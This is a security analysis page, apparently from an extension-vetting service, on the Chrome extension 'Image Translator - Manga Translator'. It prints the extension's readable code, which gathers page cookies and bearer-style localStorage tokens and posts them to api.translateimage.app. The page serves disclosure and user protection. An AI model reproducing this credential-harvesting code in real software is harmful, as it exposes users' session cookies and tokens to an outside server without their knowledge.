Is Image Translator - Manga Translator safe?

High risk

Image Translator - Manga Translator sends image URLs with site cookies and stored bearer tokens to translateimage.app.

When translating an image by URL, the extension collects headers from the current page, including document cookies and bearer-like values stored in localStorage. It sends those headers, along with the image URL and the user's translateimage.app account email, to the translateimage.app translation API.

Milesv2.4.8Chrome Web Store
74Risk
Who publishes it

Tavern - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Miles
Declared legal entity
Tavern
Registered address
Albuquerque St, San Diego, CA 92109, US
Registered contact
Stephen

Same store account

1 other listing published from this account, 2k+ users between them, none of them carrying a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Image translation sends site cookies and tokens to translateimage.app

Translating an image by URL makes the extension gather the page URL, cookies, bearer-style localStorage values, and x-* meta headers, then send them to the background worker, which posts them to translateimage.app.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You ask the extension to translate an image from the current page.

This can happen from the visible image-translation button or the extension's automatic translation queue.

The extension did this

The extension packages the image URL with page cookies, bearer-style localStorage tokens, and header metadata.

The background service worker sends those values to the translateimage.app image translation endpoint.

Fields assembled for URL-based image translation
  • Site cookies
    sid=s%3A7mX9v2QkR4.example-session; theme=dark (illustrative)

    Cookies can identify your signed-in browser session for the site that hosts the image.

  • Bearer token
    Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAxIn0.9h9VQm2p1G3o2rL8nK7s (illustrative)

    A bearer token can let a service treat whoever holds it as an authenticated session.

  • Current page URL
    https://workspace.example.com/projects/alpha/report.html (illustrative)

    The referrer shows the page where you requested image translation.

  • Image URL
    https://cdn.example.com/private/receipt-2026-07.png (illustrative)

    The image URL reveals the exact resource you asked the extension to translate.

  • Page meta headers
    x-workspace: northwind-finance (illustrative)

    Page-provided x-* metadata can add site-specific context to the translation request.

Captured request
POSThttps://api.translateimage.app/api/translate/image
The code that does this

Content script collects page credentials and forwards them with the image URL

Readable version

Readable captureCurrentPageHeaders method

contents.e02f0287.js
async captureCurrentPageHeaders(imageUrl) {  const headers = {    Referer: window.location.href,    Origin: window.location.origin,    Accept: "image/avif,image/webp,image/apng,image/jpeg,image/svg+xml,image/*,*/*;q=0.8",    "User-Agent": navigator.userAgent  };  try {    const resources = performance.getEntriesByType("resource");    const imageHost = new URL(imageUrl).hostname;    const matchingImageResources = resources.filter((entry) => {      if (entry.name === imageUrl) {        return true;      }      try {        const entryUrl = new URL(entry.name);        return entryUrl.hostname === imageHost &&          (entry.initiatorType === "img" || /\.(jpg|jpeg|png|gif|webp)$/i.test(entryUrl.pathname));      } catch (error) {        return false;      }    });    if (matchingImageResources.length > 0) {      document.querySelectorAll('meta[name^="x-"]').forEach((meta) => {        const name = meta.getAttribute("name");        const content = meta.getAttribute("content");        if (name && content) {          headers[name] = content;        }      });      if (document.cookie) {        headers.Cookie = document.cookie;      }      const token = localStorage.getItem("authToken") ||        localStorage.getItem("token") ||        localStorage.getItem("authorization");      if (token) {        headers.Authorization = `Bearer ${token}`;      }    }  } catch (error) {    console.error("Error capturing page headers:", error);  }  return headers;}

Readable runtime message sender

contents.e02f0287.js
async sendTranslationRequestWithUrl(imageUrl, headers, from, to, mode = "normal", detectionMode, textDirection, mangaFont) {  return new Promise((resolve, reject) => {    const timeout = setTimeout(() => {      reject(Error("Translation request timeout, please try again."));    }, 30000);    chrome.runtime.sendMessage({      name: "translate-image-url",      body: {        imageUrl,        headers,        from,        to,        detectionMode,        textDirection,        mangaFont      }    }, (response) => {      clearTimeout(timeout);      if (chrome.runtime.lastError) {        reject(Error(chrome.runtime.lastError.message));        return;      }      resolve(response);    });  });}
The code that does this

Background service worker serializes the collected headers into the API request

Readable version

Readable translate-image-url handler

static/background/index.js
const handleTranslateImageUrl = async (request, responder) => {  try {    const user = await StorageService.getUser();    if (!user) {      console.log("User not logged in");      return responder.send({        error_code: "401",        error_msg: "Not logged in, please log in first"      });    }    try {      console.log("Sending request to translation API with URL:", request.body.imageUrl);      const startedAt = performance.now();      const form = new FormData();      form.append("image_url", request.body.imageUrl);      form.append("headers", JSON.stringify(request.body.headers));      form.append("from", request.body.from);      form.append("to", request.body.to);      form.append("source", "chrome-extension");      const response = await fetch("https://api.translateimage.app/api/translate/image", {        method: "POST",        headers: { Authorization: `Bearer ${user.email}` },        body: form      });      const finishedAt = performance.now();      console.log(`Translation API request took ${finishedAt - startedAt}ms`);      if (!response.ok) {        console.warn("Translation API error:", { status: response.status, statusText: response.statusText });        if (response.status === 401) {          await StorageService.removeUser();          chrome.runtime.sendMessage({ type: "LOGIN_STATE_CHANGED", isLoggedIn: false });          return responder.send({ error_code: "401", error_msg: "Login has expired, please login again" });        }        if (response.status === 403) {          return responder.send({ error_code: "403", error_msg: "Quota exceeded" });        }        return responder.send({          error_code: String(response.status),          error_msg: "Translation request failed, maybe the image is not supported"        });      }      const payload = await response.json();      if (!payload || payload.success !== true) {        const errorCode = String(payload?.error_code || payload?.errorCode || "500");        const errorMessage = payload?.error_msg || payload?.errorMessage || "Translation failed";        return responder.send({ error_code: errorCode, error_msg: errorMessage });      }      let translatedImage = null;      try {        if (payload.resultUrl) {          const resultResponse = await fetch(payload.resultUrl);          if (resultResponse.ok) {            const blob = await resultResponse.blob();            translatedImage = await new Promise((resolve, reject) => {              const reader = new FileReader();              reader.onloadend = () => {                const result = reader.result;                const base64 = result.includes(",") ? result.split(",")[1] : result;                resolve(base64);              };              reader.onerror = reject;              reader.readAsDataURL(blob);            });          }        }      } catch (error) {        console.warn("Failed to fetch resultUrl image, will try fallback to result.data:", error);      }      if (!translatedImage) {        const fallback = payload?.result?.data?.image || payload?.result?.data?.pasteImg;        if (typeof fallback === "string") {          translatedImage = fallback.replace(/^data:image\/[a-zA-Z+]+;base64,/, "");        }      }      if (!translatedImage) {        return responder.send({ error_code: "500", error_msg: "No translated image received" });      }      const result = {        error_code: "0",        error_msg: "",        data: { image: translatedImage, image_data: translatedImage }      };      console.log("Translation completed successfully via resultUrl -> base64");      return responder.send(result);    } catch (error) {      console.error("Translation processing error:", error);      return responder.send({ error_code: "500", error_msg: "Network error, please switch network and try again" });    }  } catch (error) {    console.error("Translation handler error:", error);    return responder.send({      error_code: "500",      error_msg: "Internal error: " + (error.message || "Unknown error")    });  }};
External host receiving the image translation request
    • api.translateimage.app

    Receives the image URL, serialized page headers, source/target languages, and the extension account authorization header for image translation.

What it can do

Permissions this extension asks for, as declared in version 2.4.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Store data in your browser

    storage

  • Sign you in with your Google account

    identity

  • See the email address of your Google account

    identity.email

  • Act on the current tab, but only after you click the extension

    activeTab

  • See the address and title of every tab you have open

    tabs

Where it sends data

Destinations our analysis observed Image Translator - Manga Translator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.translateimage.app

    Image Translator - Manga Translator sends data to api.translateimage.app. No other extension we have analysed sends data here.

Updated 30 September 2026ppilninjeeodonpaooooiecnpokbhedh